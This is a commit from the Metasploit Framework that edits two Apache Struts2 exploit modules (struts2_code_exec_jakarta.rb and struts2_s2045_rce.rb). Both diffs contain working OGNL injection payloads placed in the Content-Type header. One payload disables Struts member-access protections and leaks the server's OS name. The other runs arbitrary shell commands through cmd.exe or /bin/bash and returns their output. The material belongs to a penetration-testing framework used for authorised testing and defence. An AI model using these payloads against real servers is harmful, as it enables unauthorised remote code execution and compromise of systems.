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metasploit-framework
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Grab the os.name when checking

bug/bundler_fix
James Lee 2017-03-09 13:52:58 -06:00
parent 83f5f98bb0
commit d92ffe2d51
2 changed files with 29 additions and 6 deletions
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21
modules/exploits/multi/http/struts2_code_exec_jakarta.rb
View File

@ -87,11 +87,21 @@ class MetasploitModule < Msf::Exploit::Remote
def check def check
var_a = rand_text_alpha_lower(4) var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" payload = ""
payload << ".addHeader('#{var_a}', '#{var_b}')" payload << %q|%{|
payload << "}.multipart/form-data" payload << %q|(#_='multipart/form-data').|
payload << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).|
payload << %q|(#_memberAccess?|
payload << %q|(#_memberAccess=#dm):|
payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
payload << %q|(#ognlUtil.getExcludedClasses().clear()).|
payload << %q|(#context.setMemberAccess(#dm)))).|
payload << %q|(#os=@java.lang.System@getProperty('os.name')).|
payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
payload << %q|}|
begin begin
resp = send_http_request(payload) resp = send_http_request(payload)
@ -99,7 +109,8 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end
if resp && resp.code == 200 && resp.headers[var_a] == var_b if resp && resp.code == 200 && resp.headers[var_a]
print_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable Exploit::CheckCode::Vulnerable
else else
Exploit::CheckCode::Safe Exploit::CheckCode::Safe

14
modules/exploits/multi/http/struts2_s2045_rce.rb
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@ -47,7 +47,19 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts = {}) def execute_command(cmd, opts = {})
uri = normalize_uri( datastore['URI'] ) uri = normalize_uri( datastore['URI'] )
headers ={ headers ={
"Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" "Content-Type"=>
"%{(#nike='multipart/form-data')."\
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\
"("\
"#_memberAccess?(#_memberAccess=#dm):"\
"("\
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."\
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."\
"(#ognlUtil.getExcludedPackageNames().clear())."\
"(#ognlUtil.getExcludedClasses().clear())."\
"(#context.setMemberAccess(#dm)))"\
")."\
"(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
} }
data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000'
print_status("Target URI: #{uri}") print_status("Target URI: #{uri}")